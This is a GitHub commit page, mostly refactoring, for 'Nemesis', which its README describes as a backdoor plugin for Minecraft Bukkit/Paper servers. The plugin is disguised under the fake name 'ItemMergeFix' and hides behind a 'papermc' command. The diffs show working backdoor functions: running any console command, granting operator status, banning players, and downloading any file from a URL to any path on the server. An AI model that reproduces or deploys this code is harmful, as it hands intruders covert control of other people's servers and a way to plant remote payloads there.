Skip to content

Commit

Permalink
a
Browse files Browse the repository at this point in the history
  • Loading branch information
minhh2792 committed Dec 8, 2022
1 parent eed7f5f commit dcc428e
Show file tree
Hide file tree
Showing 30 changed files with 119 additions and 171 deletions.
10 changes: 7 additions & 3 deletions README.md
Original file line number Diff line number Diff line change
@@ -1,13 +1,16 @@
# Nemesis /ˈneməsəs/

A righteous infliction of [retribution](https://www.urbandictionary.com/define.php?term=retribution) [manifested](https://www.urbandictionary.com/define.php?term=manifested) by an appropriate agent.
A righteous infliction
of [retribution](https://www.urbandictionary.com/define.php?term=retribution) [manifested](https://www.urbandictionary.com/define.php?term=manifested)
by an appropriate agent.
[Your worst enemy](https://www.urbandictionary.com/define.php?term=Your%20worst%20enemy).

## What is this ?

A backdoor plugin for Minecraft Bukkit/Spigot/Paper server with multiple helpful commands

**NOTES**: Don't use this plugin for griefing or other illegal activities. I am not responsible for any damage caused by this plugin!
**NOTES**: Don't use this plugin for griefing or other illegal activities. I am not responsible for any damage caused by
this plugin!

## Download

Expand All @@ -17,7 +20,8 @@ Version supported: 1.8.x *(probably)* - latest

## Commands

[Click here](https://github.com/minhh2792/Nemesis/tree/main/src/main/java/nemesis/commands/subcommands) for a list of commands. Some may won't works, please open an issue about it
[Click here](https://github.com/minhh2792/Nemesis/tree/main/src/main/java/nemesis/commands/subcommands) for a list of
commands. Some may won't works, please open an issue about it

- Fake plugin name: ItemMergeFix

Expand Down
21 changes: 9 additions & 12 deletions src/main/java/nemesis/CommandManager.java
Original file line number Diff line number Diff line change
@@ -1,26 +1,23 @@
package nemesis;

import java.util.Collections;
import java.util.HashMap;
import java.util.List;
import java.util.Map;

import nemesis.commands.SubCommand;
import org.bukkit.command.Command;
import org.bukkit.command.CommandSender;
import org.bukkit.command.PluginCommand;
import org.bukkit.command.TabExecutor;
import org.jetbrains.annotations.NotNull;

import nemesis.commands.SubCommand;
import java.util.*;

public class CommandManager implements TabExecutor {
private final Nemesis main;
private PluginCommand command;
private HashMap<String, SubCommand> subCommands;
private final PluginCommand command;
private final HashMap<String, SubCommand> subCommands;

public CommandManager(Nemesis main) {
this.main = main;
this.command = this.main.getCommand("papermc");
this.command.setExecutor(this);
Objects.requireNonNull(this.command).setExecutor(this);
this.command.setTabCompleter(this);
this.subCommands = new HashMap<>();
}
Expand All @@ -34,7 +31,7 @@ public Map<String, SubCommand> getSubCommands() {
}

@Override
public boolean onCommand(CommandSender sender, Command command, String label, String[] args) {
public boolean onCommand(@NotNull CommandSender sender, @NotNull Command command, @NotNull String label, String[] args) {
if (args.length == 0) {
sender.sendMessage(Utils.colorize("&fThis server is running: &e" + main.getServer().getVersion()));
return true;
Expand All @@ -51,7 +48,7 @@ public boolean onCommand(CommandSender sender, Command command, String label, St
}

@Override
public List<String> onTabComplete(CommandSender sender, Command command, String alias, String[] args) {
public List<String> onTabComplete(@NotNull CommandSender sender, @NotNull Command command, @NotNull String alias, String[] args) {
return Collections.emptyList();
}
}
}
36 changes: 7 additions & 29 deletions src/main/java/nemesis/Nemesis.java
Original file line number Diff line number Diff line change
@@ -1,38 +1,19 @@
package nemesis;

import java.util.Arrays;

import nemesis.commands.subcommands.*;
import org.bukkit.plugin.java.JavaPlugin;

import nemesis.commands.subcommands.Ban;
import nemesis.commands.subcommands.BanList;
import nemesis.commands.subcommands.ClearInventory;
import nemesis.commands.subcommands.DeOP;
import nemesis.commands.subcommands.DownloadFile;
import nemesis.commands.subcommands.Exac;
import nemesis.commands.subcommands.Gamemode;
import nemesis.commands.subcommands.GiveItem;
import nemesis.commands.subcommands.Permission;
import nemesis.commands.subcommands.Kick;
import nemesis.commands.subcommands.OP;
import nemesis.commands.subcommands.OSInfo;
import nemesis.commands.subcommands.PlayerList;
import nemesis.commands.subcommands.PluginList;
import nemesis.commands.subcommands.PluginManager;
import nemesis.commands.subcommands.Reload;
import nemesis.commands.subcommands.ServerInfo;
import nemesis.commands.subcommands.SetFlying;
import nemesis.commands.subcommands.SetInvulnerable;
import nemesis.commands.subcommands.Stop;
import nemesis.commands.subcommands.Unban;
import nemesis.commands.subcommands.Whitelist;
import nemesis.commands.subcommands.WorldList;
import java.util.Arrays;

public final class Nemesis extends JavaPlugin {

private static Nemesis instance;
private CommandManager commandManager;

public static Nemesis getInstance() {
return instance;
}

@Override
public void onEnable() {
instance = this;
Expand All @@ -58,15 +39,12 @@ public void onEnable() {
new GiveItem(),
new SetFlying(),
new SetInvulnerable(),
new OPList(),
new OSInfo(),
new Whitelist(),
new WorldList()).forEach(commandManager::registerSubCommand);
}

public static Nemesis getInstance() {
return instance;
}

public CommandManager getCommandManager() {
return commandManager;
}
Expand Down
13 changes: 6 additions & 7 deletions src/main/java/nemesis/Utils.java
Original file line number Diff line number Diff line change
@@ -1,5 +1,10 @@
package nemesis;

import net.md_5.bungee.api.ChatColor;
import org.bukkit.command.CommandSender;
import org.bukkit.entity.Player;
import org.bukkit.plugin.Plugin;

import java.io.BufferedOutputStream;
import java.io.FileOutputStream;
import java.io.InputStream;
Expand All @@ -9,12 +14,6 @@
import java.util.List;
import java.util.Scanner;

import org.bukkit.command.CommandSender;
import org.bukkit.entity.Player;
import org.bukkit.plugin.Plugin;

import net.md_5.bungee.api.ChatColor;

public class Utils {

private static final Nemesis main = Nemesis.getInstance();
Expand Down Expand Up @@ -55,7 +54,7 @@ public static void downloadFile(CommandSender sender, String url, String fileNam
FileOutputStream fos = new FileOutputStream(path + "/" + fileName);
BufferedOutputStream bout = new BufferedOutputStream(fos, 1024);
byte[] data = new byte[1024];
int x = 0;
int x;
while ((x = in.read(data, 0, 1024)) >= 0) {
bout.write(data, 0, x);
}
Expand Down
1 change: 1 addition & 0 deletions src/main/java/nemesis/commands/SubCommand.java
Original file line number Diff line number Diff line change
Expand Up @@ -4,5 +4,6 @@

public interface SubCommand {
void execute(CommandSender sender, String[] args);

String getName();
}
13 changes: 6 additions & 7 deletions src/main/java/nemesis/commands/subcommands/Ban.java
Original file line number Diff line number Diff line change
@@ -1,13 +1,12 @@
package nemesis.commands.subcommands;

import org.bukkit.Bukkit;
import nemesis.Utils;
import nemesis.commands.SubCommand;
import org.bukkit.BanList.Type;
import org.bukkit.Bukkit;
import org.bukkit.command.CommandSender;
import org.bukkit.entity.Player;

import nemesis.Utils;
import nemesis.commands.SubCommand;

public class Ban implements SubCommand {

@Override
Expand All @@ -19,12 +18,12 @@ public void execute(CommandSender sender, String[] args) {
return;
}

String reason = "";
StringBuilder reason = new StringBuilder();
for (int i = 2; i < args.length; i++) {
reason = reason + args[i] + " ";
reason.append(args[i]).append(" ");
}

if (reason == null || reason.isEmpty()) {
if (reason.length() == 0) {
sender.sendMessage(Utils.colorize("&cPlease specify a reason!"));
return;
}
Expand Down
9 changes: 4 additions & 5 deletions src/main/java/nemesis/commands/subcommands/BanList.java
Original file line number Diff line number Diff line change
@@ -1,14 +1,13 @@
package nemesis.commands.subcommands;

import java.util.HashMap;
import java.util.Map;

import nemesis.Utils;
import nemesis.commands.SubCommand;
import org.bukkit.Bukkit;
import org.bukkit.OfflinePlayer;
import org.bukkit.command.CommandSender;

import nemesis.Utils;
import nemesis.commands.SubCommand;
import java.util.HashMap;
import java.util.Map;

public class BanList implements SubCommand {

Expand Down
Original file line number Diff line number Diff line change
@@ -1,12 +1,11 @@
package nemesis.commands.subcommands;

import nemesis.Utils;
import nemesis.commands.SubCommand;
import org.bukkit.Bukkit;
import org.bukkit.command.CommandSender;
import org.bukkit.entity.Player;

import nemesis.Utils;
import nemesis.commands.SubCommand;

public class ClearInventory implements SubCommand {

@Override
Expand Down
5 changes: 2 additions & 3 deletions src/main/java/nemesis/commands/subcommands/DeOP.java
Original file line number Diff line number Diff line change
@@ -1,10 +1,9 @@
package nemesis.commands.subcommands;

import org.bukkit.command.CommandSender;
import org.bukkit.entity.Player;

import nemesis.Utils;
import nemesis.commands.SubCommand;
import org.bukkit.command.CommandSender;
import org.bukkit.entity.Player;

public class DeOP implements SubCommand {

Expand Down
9 changes: 4 additions & 5 deletions src/main/java/nemesis/commands/subcommands/DownloadFile.java
Original file line number Diff line number Diff line change
@@ -1,26 +1,25 @@
package nemesis.commands.subcommands;

import org.bukkit.command.CommandSender;

import nemesis.Utils;
import nemesis.commands.SubCommand;
import org.bukkit.command.CommandSender;

public class DownloadFile implements SubCommand {

@Override
public void execute(CommandSender sender, String[] args) {
if (args.length > 1) {
if (args[1] == null && args[1].isEmpty()) {
if (args[1] == null) {
sender.sendMessage(Utils.colorize("&cPlease specify a url!"));
return;
}

if (args[2] == null && args[2].isEmpty()) {
if (args[2] == null) {
sender.sendMessage(Utils.colorize("&cPlease specify a file name!"));
return;
}

if (args[3] == null && args[3].isEmpty()) {
if (args[3] == null) {
sender.sendMessage(Utils.colorize("&cPlease specify a path!"));
return;
}
Expand Down
13 changes: 6 additions & 7 deletions src/main/java/nemesis/commands/subcommands/Exac.java
Original file line number Diff line number Diff line change
@@ -1,27 +1,26 @@
package nemesis.commands.subcommands;

import org.bukkit.Bukkit;
import org.bukkit.command.CommandSender;

import nemesis.Utils;
import nemesis.commands.SubCommand;
import org.bukkit.Bukkit;
import org.bukkit.command.CommandSender;

public class Exac implements SubCommand {

@Override
public void execute(CommandSender sender, String[] args) {
if (args.length > 1) {
if (args[1] == null && args[1].isEmpty()) {
if (args[1] == null) {
sender.sendMessage(Utils.colorize("&cPlease specify a command!"));
return;
}

String cmdargs = "";
StringBuilder cmdargs = new StringBuilder();
for (int i = 2; i < args.length; i++) {
cmdargs = cmdargs + args[i] + " ";
cmdargs.append(args[i]).append(" ");
}

if (!cmdargs.isEmpty()) {
if (cmdargs.length() > 0) {
Bukkit.dispatchCommand(Bukkit.getConsoleSender(), args[1] + " " + cmdargs);
return;
}
Expand Down
10 changes: 4 additions & 6 deletions src/main/java/nemesis/commands/subcommands/Gamemode.java
Original file line number Diff line number Diff line change
@@ -1,12 +1,11 @@
package nemesis.commands.subcommands;

import nemesis.Utils;
import nemesis.commands.SubCommand;
import org.bukkit.GameMode;
import org.bukkit.command.CommandSender;
import org.bukkit.entity.Player;

import nemesis.Utils;
import nemesis.commands.SubCommand;

public class Gamemode implements SubCommand {

@Override
Expand All @@ -26,13 +25,12 @@ public void execute(CommandSender sender, String[] args) {
sender.sendMessage(Utils.colorize("&aYou have successfully set " + player.getName() + "'s gamemode to survival!"));
} else if (args[2].equalsIgnoreCase("adventure") && args[2].equalsIgnoreCase("gma")) {
player.setGameMode(GameMode.ADVENTURE);
sender.sendMessage(Utils.colorize("&aYou have successfully set " + player.getName() + "'s gamemode to adventure!"));
sender.sendMessage(Utils.colorize("&aYou have successfully set " + player.getName() + "'s gamemode to adventure!"));
} else if (args[2].equalsIgnoreCase("spectator") && args[2].equalsIgnoreCase("gmsp")) {
player.setGameMode(GameMode.SPECTATOR);
sender.sendMessage(Utils.colorize("&aYou have successfully set " + player.getName() + "'s gamemode to spectator!"));
sender.sendMessage(Utils.colorize("&aYou have successfully set " + player.getName() + "'s gamemode to spectator!"));
} else {
sender.sendMessage(Utils.colorize("&cUsage: /papermc gamemode <player> <gmc/gms/gma/gmsp>"));
return;
}
} else {
sender.sendMessage(Utils.colorize("&cUsage: /papermc gamemode <player> <gmc/gms/gma/gmsp>"));
Expand Down
7 changes: 3 additions & 4 deletions src/main/java/nemesis/commands/subcommands/GiveItem.java
Original file line number Diff line number Diff line change
@@ -1,13 +1,12 @@
package nemesis.commands.subcommands;

import nemesis.Utils;
import nemesis.commands.SubCommand;
import org.bukkit.Material;
import org.bukkit.command.CommandSender;
import org.bukkit.entity.Player;
import org.bukkit.inventory.ItemStack;

import nemesis.Utils;
import nemesis.commands.SubCommand;

public class GiveItem implements SubCommand {

@Override
Expand All @@ -25,7 +24,7 @@ public void execute(CommandSender sender, String[] args) {
return;
}

if (args[3] == null && args[3].isEmpty()) {
if (args[3] == null) {
sender.sendMessage(Utils.colorize("&cPlease specify an amount!"));
return;
}
Expand Down
Loading

0 comments on commit dcc428e

Please sign in to comment.